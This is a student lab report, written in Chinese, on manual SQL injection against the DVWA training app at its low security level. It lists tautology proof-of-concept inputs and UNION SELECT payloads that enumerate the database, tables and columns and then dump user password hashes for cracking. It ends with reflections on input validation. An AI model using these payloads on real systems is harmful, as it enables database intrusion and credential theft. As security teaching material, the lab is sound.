实验二 基于dvwa低等级的SQL注入的
- 实验目的
1、熟悉sql注入的基本流程;
2、掌握Mysql中UNION的使用规则。
二、实验步骤
- 打开SQL回显注入页面,先尝试输入1查看查询结果
- 通过结果猜测SQL语句:select firstname,surname from xxx where id=我们输入的id
- 探测是否存在漏洞,输入1'出现了语法错误回显,说明漏洞存在
- 三种注入POC(验证性测试,Proof of Concept):
变量不在引号中:1 or 1024=1024
变量在单引号中:1' or '1024'='1024
变量在双引号中:1" or "1024"="1024
- 一一尝试,发现变量是由单引号闭合的
- SQL注入中通常需要闭合,如果语句比较复杂,可以用注释符号闭合。MySQL中三种常见的注释符号:#、-- (注意–后的空格)、/**/
- 确定查询字段数:1' order by 1--,order by是对某一列进行排序显示,通过二分法不断缩小范围最后确定字段数为2
- 确定回显点:xx' union select 1,2 #,union是对两次查询结果合并显示,结果中查看1,2的位置
- 查询数据库信息:xx' union select @@version,@@datadir#
- 查询数据库和数据库名:xx' union select user(),database()#
- 利用库名查询表名:xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
利用表名查询列名:xx' union select 1,column_name from information_schema.columns where table_name='users'--
利用列名查询用户名和密码:xx' union select user,password from users-- - 获取用户密码哈希,利用工具获取明文密码
三、实验反思
在进行SQL注入和了解MySQL中UNION使用规则的实验过程中,我获得了一些重要的认识和反思:
安全意识的重要性:
了解SQL注入的原理和方法有助于提高对安全漏洞的认识,以便更好地防范和避免潜在的攻击。
输入验证与过滤:
有效的输入验证和过滤是防止SQL注入攻击的关键。任何接受用户输入的地方都需要进行严格的输入验证和过滤。
掌握数据库操作规则:
对于像 UNION 这样的数据库操作符,理解其使用规则有助于编写更有效和安全的SQL查询语句。
保持更新和学习:
针对数据库安全和注入漏洞,保持学习并了解最新的安全措施和最佳实践,不断更新自己的知识是至关重要的。
总的来说,这个实验帮助我更深入地了解了SQL注入的原理和防范方法,并提醒了我在开发过程中保持严格的输入验证和过滤的重要性,以保障系统的安全性和稳定性。